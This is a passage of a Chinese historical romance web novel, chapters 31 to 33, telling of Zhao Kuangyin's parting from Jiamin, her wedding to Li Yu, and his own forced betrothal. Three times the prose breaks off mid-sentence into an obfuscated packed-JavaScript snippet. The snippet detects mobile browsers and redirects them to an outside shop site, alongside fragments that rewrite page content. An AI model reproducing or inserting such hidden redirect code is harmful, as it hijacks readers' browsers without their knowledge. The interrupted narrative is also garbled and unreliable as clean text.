那老翁倒是个随性的主,见他挑螃蟹漫不经心,乐呵呵指正道:“公子,这九月的螃蟹圆脐的好,十月螃蟹才尖脐的好,所谓‘九雌十雄’是也,挑这只……还有这只……” 江南人偏爱鲜味,新鲜的螃蟹用汤水煮熟便可以吃。 赵匡胤许久不拆蟹肉,已有些生疏,嘉敏默默等着,见他把莹白蟹肉和金黄蟹膏都堆在碟子里给她,端起来拌着眼泪吃下去,却如鲠在喉难以下咽。 “赵哥哥……我……跟了你一路,是不想太快分开……”不管再艰难,还是说了出来。 赵匡胤头也不抬,笑问:“是滋味太淡了么,要不要配些姜醋汁?” 嘉敏的手轻轻颤抖,哽咽道:“记得当年我们走了一路,从雨水节到霜降,从神仙生日(农历四月十四吕洞宾生辰)到跳钟馗驱鬼,从正月的元宵到腊八的米粥,每一个节日都在一块儿过。当时我年岁尚小,原以为有无尽的岁月可以别离再相聚,相聚再别离。后来知道了许婚的事,纵然不曾说出口,却一直暗自欢喜,想着以后能够长相厮守,从春光喧闹到冬雪寂寥,从江潮水满到海枯石烂,月月复年年,一直都在一起……我的梦明明近在咫尺……为何要将它撕碎……可不可以还给我……可不可以……” 赵匡胤一把拉过她抱在怀里,听她破碎的声音一点点地说出:“还……给……我……” 当在城楼上看见周宗的那一刻,就注定他已无法带走嘉敏。 走了一个嘉敏,周家满门被问罪,这等故事也只能出现在前朝的传奇话本里罢了! 周宗是来接嘉敏的,凭他再疼爱女儿,事到如今也已无力回天。而嘉敏势必会随着父亲离去,她断然不能看着整个周家因自己而陷入万劫不复之地。 怀里的嘉敏涕泣涟涟,说着诀别之语:“此生情缘已断,盼赵哥哥将来再觅佳偶,两心相许白头偕老,勿以嘉敏为念!” 赵匡胤多年征战沙场,皆不曾落过泪,近日却一直红着眼,此刻更觉双目有些刺痛,仰起头悠悠提及往事:“嘉敏,你可还记得幼时在南塘的荷花池里赵哥哥同你说过的话?‘不管时间过去多久,赵哥哥绝对不会疼爱任何一个人超过疼爱嘉敏!’天意要你我今日分离,我无话可说,只盼日后相见有期。若当真后会无期,你见刮风了,就是我想你了!若风很大,就是我很想你!若下雨了,就是我想你想的哭了!若有闪电,就是我很想……很想见到你……想像闪电一样一眨眼就到你身边……此生此世,我都会念着你。若你也念着赵哥哥,要记得经常笑,你一笑天就放晴了,这样我就会知道你很好……很好很好……” 杨小九看不下去,想要上前教大哥别管那么多,将嫂子带走就是,被王审琦按住肩膀。弟兄们无奈,只得转过头去一个个恨的牙痒痒。 周宗将眼泪擦干,走上前叹息道:“嘉敏,随爹爹回去吧!留在这儿也不过是多哭一会儿,这些时日你赵哥哥奔走多日也已疲累,该让他好好歇歇了。匡胤,你……多保重!” 嘉敏被父亲扶着站起来,伸出手想要去抓住赵匡胤,赵匡胤也伸出了手,两人的指尖碰在一处,却瞬间分开。 风很大,人还在眼前就已开始想念,赵匡胤强忍着心痛,看着嘉敏离自己越来越远。他坐着一动不动,害怕一起身就会忍不住追上去。 王审琦走过来道:“大哥,只要你一句话,兄弟们立马冲上去把嘉敏妹妹抢回来!” 赵匡胤闭目不言,攥紧的手指把衣衫也抓破了,压抑着哭声,眼泪落在手背上,又从手背滑落进泥土里。 风过后,下雨了,一场好大的雨,连闪电也来了,明晃晃的,像是要把整座扬州城烧成灰。 集市的商贩熙熙攘攘很快走光,赵匡胤依旧一动不动,雨水顺着他的下巴流下来,将眼泪冲洗的无影无踪。他就这般坐着,直到大雨停歇,天气放晴,露出了太阳。 回到周军大营,不过两日已传来嘉敏大婚的消息。 兄弟们本想瞒着大哥,可赵匡胤聪慧,早将时日算了出来,竟然不闪不避,以兄长的身份亲赴金陵送嫁。 嘉敏穿好了霓裳嫁衣,戴着凤冠,听爹爹传来此等消息,便也不顾众人阻拦跑出去与赵匡胤相会。 赵匡胤素来坚韧,养了两日,从表面上看已恢复如常,他把自己准备的聘礼全都当成了嫁妆送来周府,瞧见嘉敏,也不伤怀,敛神微笑。 嘉敏也扮作开怀模样,活泼地问:“赵哥哥,我穿嫁衣好看么?” 赵匡胤点头:“好看!再好看不过了!” 嘉敏含着泪笑靥如花,“赵哥哥将来一定会娶一个比嘉敏美上十倍百倍的女子。” 赵匡胤朗声笑道:“这世上比你还美的女子怕是一个也找不出来,还十倍百倍,你这是要赵哥哥这辈子都娶不到媳妇么?” 嘉敏怔住,也不再顾及什么礼义廉耻,扑入他怀中小声道:“自然是有的,赵哥哥这般好,将来一定娶天上的仙女。” 赵匡胤抱着她仰头叹息道:“仙女也比不得嘉敏好!嘉敏,莫哭了,今日大喜,哭多了不吉利!”说着抬手捧着她的脸把眼泪擦干。 嘉敏勉强挤出一个笑容,周夫人过来把女儿带走,催她上花轿。 “坐上轿子以后,不可以自己揭开盖头,更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13993228|143156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不可以掀开帘子朝外面看。嫁进宫里,你就是太子妃了,万不可有这种失仪的举动!” 赵匡胤谆谆叮咛,世人对嘉敏的谩骂已经够重了,无人怜惜她不过是个十二岁的稚弱女孩儿,今日这等场面还是不要被人瞧见面容的好。 嘉敏想来是被他看穿了心思,只得点头道:“我听话就是了!” 轿帘落下,就真的连多看一眼也不可能了。 车辇动,赵匡胤默默跟着,嘉敏记着他的话,就算知道他在人群里送嫁,试了好几次,终是不曾掀开帘幕去看。 人生不相见,动如参与商。 也不知此生此世,是否还有机会再见?就算见到了,只怕都已是他人之妇,她人之夫,届是又当如何,又该如何? 轿中无人,嘉敏捂着嘴啼哭不止,生恐被人听见,张口咬住自己的手,咬出一片鲜红的齿痕。 送至宫城外,赵匡胤不想多生事端,打算就此离去,却被陈抟老祖邀去和周宗道别。 虽说如今已无翁婿之名,好在也算旧相识,是以不曾多想就跟着去了。 周宗因嘉敏之事劳心伤神,加上愧对赵匡胤,也无过多的话可以说,简单道别之后就要送人出门,不想竟又被周夫人拦下。 这周府的主母心思倒是细腻,一脸笑意道:“赵公子,你送了嘉敏那么多嫁妆,我打心眼里感激,想来你定是十分疼她的。如今她已嫁入宫中,我心里这颗石头总算落了地!不过还有一事烦忧,只盼赵公子念着嘉敏日后能够安稳在宫中生活下去,高抬贵手予以成全。” 赵匡胤冷冷看了她一眼道:“若夫人害怕赵某日后会扰了嘉敏的安宁,大可放心,礼义廉耻赵某还是懂的。” 周夫人摇头道:“赵公子光明磊落,自然不会做出失仪之事,只不过听老爷说之前他签了婚书给你。如今嘉敏既然已经出嫁,可否烦请赵公子将那婚书还给周家?” 周宗大吃一惊,可此刻再出口阻拦,俨然已经晚了。 陈抟老祖摇头道:“周夫人,你如此作为,是否过分了些?” 那婚书赵匡胤原是当宝贝一样随身携带,听罢冷笑两声,自怀中取出来,展开给周宗夫妇看过,而后点了火折子,当着二人的面烧成了灰。 周宗大为不忍,闭上眼无奈叹息。 赵匡胤拂袖而去,却又听得身后周夫人大声道:“多谢赵公子成全!” 他不由顿住身形,片刻回头问道:“周夫人,你如此轻辱于我,当真不怕有朝一日会后悔么?” 周夫人皱眉不解其意,听他笑道:“如今我大周兵强马壮,你不妨猜猜看这南唐还能苟延残喘多久?一旦江北铁骑踏破金陵,你那太子女婿可保的住你,保的住你们周家?” 周宗从他的话中听出了威慑之意,一时心神大乱,上前唤他:“匡胤……匡胤……” 赵匡胤却已出门,头也不回策马而去。 周宗喃喃道:“这赵公子乃真龙下凡,他这一回去,只怕北朝很快就要变天了!”说罢仰头看天,风卷流云四处奔散,云巅之上隐隐传来了雷声。 31.劳燕分飞 “听说你喜欢吃螃蟹?” “嗯?” 大婚之夜,李煜心思颇重,揭开盖头,喝过合卺酒,便将嘉敏带去厅堂里,桌案上摆满了水果和各色佳肴,中间是一碟蒸熟的螃蟹,纯金酒壶中装着菊花酿,满满的斟在杯里,清香扑鼻。 这时节把酒持蟹倒是别有一番滋味,宫人上前拆出蟹肉和蟹黄,嘉敏却不吃,呆呆的坐着。 李煜以为她是新婚之夜局促,笑道:“之前我和娥皇成亲的时候,因为礼仪繁多,忙的忘了吃东西,还是娥皇把藏的糕点拿出来给我吃,才缓解了腹中饥饿。” “哦!”嘉敏含糊不清应了一声。 提起过世的周娥皇,两人之间似乎更无话可说了。 李煜心下悲痛,停箸道:“如今娥皇过世不过月余,你我大婚,当真急促了些!”此语颇为委婉,低眉垂首的模样也带着几分自责。 嘉敏不理会,若非赵匡胤被困,石守信重伤,她又何至于走到今天这一步?说不定此刻人已经在去往汴京的路上了。 这些时日忧心伤怀太过,眼泪总是尚无知觉就落下来,吧嗒吧嗒的打在碟子边沿,又溅到了桌子上。 李煜以为是自己的话伤了她,忙解释道:“嘉敏你不要多心,我知道这些时日你受了许多苦,娶你进宫是我自愿,只不过如此作为着实对娥皇太过薄情,我想你心里也是不大痛快的,而况于国法也不合。照母后的意思,命你我再为娥皇服丧一年,之后再行夫妻之礼,你看如何?” 其实他的意思嘉敏不大明白,可她人已进宫,万事哪里由得自己做主,只是木然点头。 李煜大喜,笑道:“我就知道你会答应了!虽说今夜大婚,抛下你一人留在柔仪殿里有些不妥,不过你放心,日后我定会加倍补偿你的!”说罢握住嘉敏的手示意安慰,没多久如获大赦地离开。 出了门就扯开衣领大声喘气,心腹太监李光上前来搀扶,“太子,保重身体!” 李煜摇头惨然道:“我与娥皇情投意合,周家见其病重,便将嘉敏送进宫来替代她,再加上母后的授意,才不得已而为之,到如今我才知道娥皇才是我最爱之人,着实悔不当初!” 而今与世长辞的娥皇成了朱砂痣,而嘉敏只不过是被逼迫下的安排,他甚至有些后悔娶她,才以一年丧期为借口来躲避,其实并非出自钟皇后授命。 李光陪伴他多年,知晓他性子中有身为才子的多情与怯弱,劝解道:“皇后娘娘选中周二小姐,原本也只是想要帮助太子稳固后宫,如今人已娶进宫来,也算是了了一桩大事,周娘娘泉下有知,不会怪罪你的。何况你在大婚之夜舍周二小姐而去,也足见是被迫为之,逝者已矣,太子要自行保重身体,切勿太过伤怀。” 李煜听罢忧愁稍解,叹息道:“摆驾瑶光殿,我要前去凭吊娥皇。” 宫人们瞧着他车辇的去向议论纷纷,而嘉敏独守柔仪殿,看着眼前的螃蟹啼哭不止,一直到了三更才卸去妆容迷迷糊糊睡去,梦里全都是赵匡胤剥螃蟹给她吃的模样。 是夜,扬州城雷雨交加,赵匡胤自出了金陵城就已吐血昏厥。 兄弟们轮流守在身侧不敢有丝毫懈怠。 夜半人突然醒过来,一句话也不说就跑出去,大雨将他全身淋的湿透,王审琦拉住他大声道:“大哥,嘉敏妹妹已经嫁人了,你就别再想她了!” 听到“嘉敏已经嫁人”这几个字,赵匡胤眼前一黑跪倒在地,喃喃道:“我不能把嘉敏一个人留在金陵,我说过这一生都会疼爱她,让她无忧无虑快活安宁……我不能留下她一个人……不能留下她一个……”他断断续续说着,红着眼还想挣扎着离开。 “大哥——”王审琦大喊,干脆抱住他的身子吼道:“你已经尽力了,你带不走她的,咱们回汴京,回汴京,啊……” 回汴京—— 赵匡胤凄然冷笑,回去以后他又是那个孑然一身的北周将军,悄悄布置好的家也不会有人去住,曾经说过的朝朝暮暮不相辜负也只成了一句空谈,以后也不会再收到嘉敏为他赶制的四时衣衫,她的一切就此与他再无瓜葛。 此时此刻竟有些万念俱灰,五脏六腑绞痛不已,没撑住又吐了满地的血,只是很快就被雨水冲刷殆尽。寒意由内而外将他整个人包裹起来,从头冷到脚。 抬头不见金陵路,夜雨霖铃秋色寒。 回汴京——不回汴京又能去哪里? 弟兄们顾念着他和石守信的伤病,驾了两辆马车回去,一路上都小心翼翼的照顾着。 经此变故,赵匡胤原本爽朗的性子沉默了许多,加上心疾难愈,总是带着几分病容,睡着的时候比清醒的多,一闭上眼,嘉敏就到了他的梦里。 大雪纷纷的归途教人看不清前路,亦分不清梦与现实的界限。 梦里嘉敏还依偎在他的怀里,清澈无邪的眼眸凝着他娇声道:“赵哥哥,一定要来接我噢!” 赵匡胤叹息着将她抱紧,“寻你的路从酷暑走到了严冬,却越来越远。不过你放心,不管前路有多波折,我都一定会再回到金陵接你离开!” 梦外已经转醒的赵匡胤喃喃道:“一定会的!”动了动眼皮,才发觉眼睛酸胀的厉害,大约是在梦里又落了泪。 这般催心断肠的苦楚令他憔悴不少,回到汴京时人瘦了一大圈。 入宫面圣,柴荣见了骇然道:“匡胤,这是出了什么事,你怎变成如今这副模样?” 嘉敏之事柴荣原本不知,此刻更没必要告诉他,赵匡胤沉声道:“回皇上的话,一个故友出了事,是以有些伤怀!” 瞧他的模样何止是有些伤怀?可柴荣是个明白人,当下也不多问,说了件或许能令他开心的事:“你弟弟把你母亲接来了汴京,朕去拜见过老夫人,听她说对你甚为想念,又瞧她来京尚无落脚之处,就自作主张迎她住进了你新置办的那处宅院里,你可是已经回去看过母亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14006814|143156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了?” 赵匡胤心下暗惊,这么多年来母亲待他一直冷淡,如今大约是因为他兄弟二人已经久不回洛阳,而父亲也已故去多年,这才肯搬来汴京居住,遂道:“臣常以军中为家,鲜少回去宅邸,并不知母亲已来汴京。” 柴荣听罢皱眉道:“瞧这军务把你忙的,鲜少在母亲面前尽孝也就罢了,连门亲事都还没有定。不如这样,朕先陪你回趟家,再允你休一个月的假,好好孝顺孝顺母亲,以免她老人家心生怨怼。” 赵匡胤本想推辞,架不住柴荣定要如此,只好随他。 因皇帝亲自登门来访,母亲杜氏也出门迎接。 赵匡胤因两年不曾回家探过母亲,亦有些愧疚,当下双膝跪地唤道:“娘——” 杜氏含笑上前来扶,满脸慈祥:“快起来,两年不见,孩儿想煞娘了!” 赵匡胤低眉不语,此刻也提不起精神母慈子孝。 柴荣见他反应这般冷淡,笑道:“匡胤刚从淮南办差回来,想是累了,朕带了宫中的厨子来赵府开宴,算是为他接风,再则庆祝你们骨肉团聚,一家人终于在一起了。” 皇上赐的宴席,赵府自然上上下下余有荣焉,石守信和王审琦也被留下来一起参加。 席间柴荣对杜氏多有恭维,赞她生养出了赵匡胤兄弟这般猛将,为大周开疆拓土建功立业,一时宾主尽欢。 杜氏笑道:“匡胤什么都好,就是已年近三十尚未成家,做母亲的日夜忧心,经常食不知味寝不得安,也不知他什么时候能娶到一门亲,好了却老身一桩心事!” 王、石二人听了这话大为紧张,见赵匡胤握着酒杯的手青筋暴突微微打颤,皆暗捏了一把冷汗。 柴荣听罢哈哈大笑:“老夫人所言甚是,其实朕早想为匡胤说亲,可他醉心国事,已经多次回绝了朕的好意。如今老夫人来了汴京,想来你的话他不会不听。” 杜氏一脸愁容道:“就算匡胤肯听话,也得有一个愿意与他结亲的女子才行,这一时半会儿哪里去找?” 柴荣等的就是这句话,“匡胤的事朕早留心了,户部王侍郎家有一个女儿,貌美端庄温柔贤良,前些日子随她母亲进宫见贵妃,被朕瞧见了,当时就想她和匡胤十分相配。对了王将军,没记错的话,那位鹤儿姑娘该是你堂妹吧!” 王审琦心下五味杂陈,勉强应道:“是,正是臣的堂妹!” 柴荣大喜,“如此甚好!你和匡胤素来亲厚,若是再结上这门亲事,也算是亲上加亲,关系更近一步,你说是不是啊老夫人?” 杜氏听对方是户部侍郎家的女儿,也算得上是高门大户,心下欢喜,含笑点头道:“皇上的眼光自然是最好的,若是能赐他们早日成亲,那老身更加感激不尽,连我那在九泉之下的夫君想来也终于可以安心了。” “看来老夫人是着急想要抱孙子了!”柴荣倒也不觉得为难,笑道:“此事好商量,只是不知匡胤意下如何?” 32.不羡鸳鸯 手里的白瓷酒杯被捏碎,血迹滴落在地,洇成一小片。 赵匡胤没有半分说话的力气,眼前一黑昏厥过去。 一片人影慌乱,模糊中听到柴荣大声召唤御医。 兄弟们自是不放心,在身边照顾着,待御医走后,围着醒过来的赵匡胤议论。 石守信问道:“审琦,你叔叔可是皇上的亲信,依你看这门亲事是否另有玄机?” 这些年赵匡胤在朝中威望越来越高,又手握兵权,皇帝早已猜忌于他,今日这场局表面上是赐婚,实则怕是在他身边安插眼线。 王审琦皱眉问道:“大哥,现在怎么办?” 赵匡胤抚着额头,“明日我进宫推了便是!” 前来送汤药的小丫鬟走到门口,正好听见此话,回头便急匆匆禀告了老夫人。 此事非同小可,第二天两位兄弟照常来府上,陪着他一起进宫。 正待出发,忽听到杜氏威严的声音厉喝:“站住——” 赵匡胤回头,却见母亲穿着一身素服,面容冷酷,中气十足地道:“今日你若敢踏出家门一步,就等着回来替为娘的收尸吧!” 话音落,仆人已抬出一方棺材,堪堪搁在庭院正中。 石守信失声问道:“老夫人,你这是做什么?” 赵匡胤心头一跳,挺直腰身跪倒在母亲面前问道:“孩儿不知因何事惹得母亲不快,还请母亲明示!” “不知?”杜氏冷哼一声,“你今日入宫面圣,是要拒婚吧!” “母亲,孩儿有心上人,孩儿不想娶别人,望母亲成全!”赵匡胤咬牙叩首,他爱嘉敏至深,甚至都已经做好了终身不娶的打算,巴望着母亲不要为难自己。 杜氏却冷冷道:“放肆!婚姻大事父母之命媒妁之言,还由得你与旁人私定终身么?此事昨日我已答应下来,你愿不愿意,这亲都要成,不然的话做娘的就只好以死谢罪,省得你抗旨不尊,带累整个赵家!” 此话直如晴天霹雳,令一向刚强的赵匡胤不觉颤抖,流着泪看向母亲问道:“娘,成亲的事可不可以要孩子自己决定?孩儿真的不想娶一个不爱的人!” 杜氏沉默片刻背转过身去,淡淡道:“你想进宫,便去吧!” 赵匡胤感激不已,叩首谢过母亲,可尚不曾踏出门,又听她在背后道:“你可以去娶心上人,到时候婚事丧事一起办,你赵将军也算是心想事成功德圆满了!” 果然,做娘的并没有多想成全他! 赵匡胤闭目无声垂泪,低声问道:“娘定要如此逼迫孩儿么?” 杜氏怒道:“是你在逼我!前有贵妃提亲,后有皇上赐婚,难道我还能拒绝么?我既管不得你,那活着还有什么意思?我死了,你正好清净,不是么?” 赵匡胤头脑一胀,立时回身跪拜,大声道:“孩儿不敢抗旨不尊,逼死母亲,孩儿答应就是!” 事情发展到这般地步,直教旁观者目瞪口呆,当娘的以死相逼也真是少见。 杜氏暗喜,命人把棺材抬走,回头笑道:“此事可是你自己答应的,到时候别说是母亲强逼!” 王审琦审时度势,当下安抚母子二人,“我那堂妹模样虽比不得大哥心上人那般千娇百媚,也称得上是位美人,况她性子很是柔顺体贴,大哥此刻身边若有这样一个人,也未见得是件坏事。” 话虽如此,可看着赵匡胤面无血色的脸,实在也不好多说下去。 过了两日去叔叔家拜访,特意见了堂妹,虽说平日往来甚少,但毕竟是血亲,掏心窝子的话还是要说上几句:“鹤儿,你见过我大哥,他的模样和本事都没得挑,说句不夸张的话,在大周找不出第二个,你嫁给他倒也不算委屈。不过有件事你还是知道的好,我大哥他有心上人,已经嫁于他人了,是不得已分开,并非被弃。大哥是个长情之人,短时间大约无法忘怀旧爱,你们仓促完婚,他若待你冷淡,你多担待些。” 王鹤儿乍听得此言,心下五味杂陈,喃喃道:“我竟不知赵将军早已心有所属!可这是皇上赐的婚,怕是退不得……” 王审琦见低头绞弄着丝帕,甚是局促不安,慌忙道:“自然退不得!不过你放心,我大哥虽出身军户,却是文武双全,书画琴棋虽谈不上精通,也不是汴京城里你常见到的那些附庸风雅之辈能够比拟。再则他为人良善,当初才十八岁就能从强盗手里救下四岁的嘉敏妹妹,千里迢迢送她回金陵……” 已许久未提嘉敏之名,此刻乍然说起,不由一滞。 这故事王鹤儿很早就听他说起过,女子心思大多细腻,看他的表情猜测道:“赵将军的心上人是那位嘉敏妹妹么?听说南朝的太子续娶了周家的二小姐,她进宫当了太子妃,难怪是被迫分离,想来又是皇家赐婚了!” 王审琦不欲多言,叮嘱道:“你和大哥成婚以后,可千万不要在他面前提起嘉敏妹妹的名字,他只怕受不住!” “受不住……那是爱的太深了吧!”王鹤儿心下酸涩,低着头小声问道:“那位嘉敏妹妹是不是模样很美?” 王审琦坦言:“嗯,就像仙女一样,这世上怕也找不出第二个如她那般美貌的女子。”说罢双手按住她的肩膀柔声叮嘱:“鹤儿,我知道你听了这些话会难过,一边是大哥,一边是妹妹,我做不到对你有所隐瞒,只是希望你成婚以后能多给大哥一些时间。嘉敏妹妹貌美无双是不假,可鹤儿你这般温柔体贴,知书达理,日子久了,大哥定也能瞧见你的好处,说不定你就能取代嘉敏妹妹在他心里的位置,兄长对你还是很有信心的!你也不要怕,如果将来他对不住你,兄长定亲自上门替你讨公道。” 王鹤儿强颜欢笑,含蓄道:“兄长有心了!” 成婚前一日是立夏,赵匡胤记得南人很重节气,这一天家里要设樱桃、青梅、畾麦,供享祖先,名“立夏见三新”。宴席上还有烧酒、酒酿、海蛳、馒头、面筋、芥菜、白笋、咸鸭蛋等佐餐,新鲜的蚕豆也在这一天上桌,酒楼里还会送些酒酿或者烧酒馈赠客人。 嘉敏爱吃樱桃,但青梅要糖渍过的才肯入口,吃太酸的东西她的小脸会皱起来,可怜巴巴的很是有趣。 当年在路上,他是从小贩手里买了青梅给她吃,一口下去脸色就变了,那滋味真是酸倒牙。 汴京因漕运之利,天下货物在此皆有集散,南方的青梅在市场上也很容易买到。 赵匡胤咬了一口,是真的酸! 此刻在南朝皇宫里参加立夏宴的嘉敏也不吃什么,捻了青梅来吃。 秋芙忙对四下道:“是谁把没有糖渍过的青梅摆在娘娘面前的,还不快点换下来?” 嘉敏却摇摇头,拿着酸口的青梅一小口一小口边吃边走。 因是过节,宫中热闹多,各家贵女都有进宫来给皇后请安的,嘉敏也见着了几个闺中密友,一时开怀了许多,手拉手跑到绣阁中秤人。 彼时民风,立夏这天家家户户都有秤人的习俗,就是用大秤量人的体重,到立秋那天再称一次,看看夏天过后是胖了还是瘦了。 这等游戏最为闺中女孩儿喜欢,南唐多少承袭了些李唐时以珠圆玉润为美的风气,不过经过这许多年,那等摇风摆柳的柔弱美人儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14014802|143156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也颇受喜欢,故而圆润是溢美,体轻亦是赞扬。 一群锦带罗衣的少女纷纷过秤记下自己的体重,竟无一人不开心,欢笑声直传了一里远,把李煜也给招引来了。 大婚将近一年,李煜鲜少踏足柔仪殿,和嘉敏也只是逢年过节一起吃顿家宴。 偶尔他想示好,嘉敏总是冷漠以待,扫了他不少兴致,再则身边还有温柔成熟的窅娘和如解语花一般的段氏,都比嘉敏更合他的心意,是以数月未见面也是常事。 此刻乍然瞧见,嘉敏笑靥如花在绣阁的秤上跳上跳下,活泼模样竟是素日从未见过的模样,不由久久驻足不肯离去——原来她笑起来竟是如此明媚柔艳,如那欲乘风而去的仙娥,一霎间就撞进人的心里,美的教人挪不开眼。 绣阁中的人玩闹了半晌,有人瞧见李煜到来,遂喊了一声。 嘉敏回头瞧他,脸上的笑容瞬间消失了,低着头盈盈下拜。 李煜忙扶起她柔声道:“嘉敏,许多时日未见,你的模样益发美了。” 嘉敏闻见他身上龙涎香的味道觉得有些发晕,也不与他讲话,向后退了一小步。 气氛有些微妙的尴尬,李煜心下猜测她大约还是因为自己大婚之夜留她独守空房而气恼,一直未曾释怀,不过此事也确然是自己不对,遂好脾气地笑道:“我只是来瞧瞧你,倒惊的你不能愉快玩耍。自打你进宫来,和这些亲友也多日未见,我就不打扰了,晚些再去看你!”说罢又抬手想去摸嘉敏的脸,被躲开了。 见他去后,姐妹们纷纷围上来,堂姐周薇禁不住劝道:“嘉敏,你对太子的态度也太过冷淡了,也是他脾气好由着你,以后万不可如此,不然你以后在宫里的日子该怎么过?” 嘉敏神色木然,莫说以后,自打与赵匡胤分开以后,她哪一天的日子好过过? 人生无常,欢宴易散,傍晚与密友分别之后回到柔仪殿,与往常一样挑了灯烛缝制衣裳。 秋芙搬来驱蚊的香笼,犹疑片刻规劝道:“小姐,赵公子的夏裳你已做了三套,又不打算送到他手里去,这是何必呢?” “我想他!”嘉敏头也不抬,继续缝制着衣裳,“你说赵哥哥现在是瘦了些还是胖了些,按照以前的尺寸来做,不晓得合不合身?” “……”这半年多秋芙没少规劝,可始终劝不过来,也只好作罢。 等她又做了一会儿,直接上前把东西拿走正色道:“小姐,我不是反对你给赵公子做衣裳,只是你今日乏累,就少做一会儿,早些休息,这些针线什么时候做都不迟对不对?” 嘉敏确也有些疲累,点头笑道:“好,都听你的!” 秋芙欢喜地扶她起身:“我来给你卸妆!” 卸完妆又将头发梳理整齐,正打算就寝,宫婢突然通传太子驾到。 主仆二人相对大惊,嘉敏喃喃道:“太子来做什么?” “大约……是来……过夜……”秋芙吞吐道:“小姐忘了白天太子曾说‘晚些过来看你’?” 嘉敏花容失色,不自觉后退了几步。 秋芙看她的样子着实可怜,自己走出去暂将李煜拦了下来。 隔着一道门,李煜说话的声音清晰可闻,嘉敏一时乱了心神,眼下四下无路,竟打开窗子跳了出去。 怕被人撞见,一直朝没有亮光的地方跑,跑着跑着哭起来,已经听到身后有人在叫太子妃,想来李煜已经发现她不见了,下令宫人四处搜寻。 “去哪儿?去哪儿啊……”嘉敏心下大声呐喊,会不会很快就有人找到她,偌大的宫廷又究竟何处才可藏身? 33.玉碎珠抛 暗夜之中幽花浮浮,嘉敏也不知自己跑去了何处,朝着又黑又多矮树的地方跑去。 宫人打着灯笼到处寻她,她躲进矮树丛里,张口咬住自己的手,以免哭声太大被人发现。 一堆宫人靠近,她吓的全身僵直,闭上眼,泪水打在手背上和血迹混在一处,咬伤的地方益发疼了,微不可察的声音道:“赵哥哥……赵哥哥救我……救我……” 月光照着不远处的一口古井森然可怖,嘉敏弯着腰悄悄走过去,双手按在井沿上,看着下面似有若无的水光,想要跳下去。 “嘉敏——嘉敏——”赵匡胤大喊两声自睡梦中惊醒。 见他深夜欲整装骑马出门,被前来帮忙操办喜事的兄弟们拦下来,石守信规劝道:“大哥,那就是个梦,好端端的嘉敏妹妹怎么会自寻短见呢?你明日就要成婚了,这个时候如何走得?” “让开——”赵匡胤厉喝,有多少次梦到嘉敏遭遇危险,后来验证都是真的,兄弟们平日与他肝胆相照,可他和嘉敏之间的感情谁又能真正感同身受? 眼见众兄弟合力阻拦,赵匡胤也不手软,一套拳脚全部撂翻在地。 王审琦无奈,张开手臂站到他面前傲然道:“大哥,我那堂妹早已准备好了要出嫁,你一意孤行可曾想过她?今日你若想出这道门,除非从兄弟尸体踏过去,否则我绝不允许你如此轻辱我堂妹!” 赵匡胤当下拔刀朝他脖颈上砍去,王审琦大骇闭目。 那刀风割的他脖子生疼,好在没有真的砍下来。 赵匡胤气的全身颤抖,半晌恶狠狠道:“若今夜过后,嘉敏当真已不在人世,你我这兄弟也不必再做了!”说罢丢下刀转身回房。 可他急火攻心,走了两步就按着胸口倒在地上,石守信上前来扶,被他甩开自行而去。 “大哥肯妥协不过是因为知道若嘉敏妹妹当真陷入绝境,他此刻赶过去也为时已晚,我们这些做兄弟的是不是对他太狠了?”石守信皱眉,对赵匡胤的心绪担忧不已。 王审琦琢磨是自己以死相逼才将人留下,对杨小九吩咐道:“马上飞鸽传书到金陵,让他们把周二小姐的情况据实以报。”顿了顿道:“若真是不好的消息,可千万不能教大哥知道!” 兄弟们面面相觑,可也知道他的良苦用心,以赵匡胤对嘉敏的深情,实在不敢想,倘若他得知嘉敏身故之后会做出什么样的举动,自然是瞒着的好。 而今只能盼嘉敏吉人自有天相,可千万不要出什么岔子! 纤云开落,明月如钩。 宫人们渐渐走远,嘉敏跌坐在地,倚着井沿睡了一夜,天蒙蒙亮时才有人发现她。 虽说立夏的夜晚已没有那般寒冷,露气却还颇重,加上她本生的娇弱,又受了惊吓,回宫后已然病倒。 周氏夫妇听说了此事,一大早入宫来探望。 周夫人听宫人道了原委,急的直跺脚,回头对女儿道:“嘉敏啊,你平日在家里任性也就罢了,怎闹出这等事来?太子好不容易肯与你亲近,你还跑掉,这般下他的面子,也难为他宽宏大量不曾降罪于你。不过皇后那边怕是不好交代,你快些起来,和娘一起到皇后面前领罪去!” 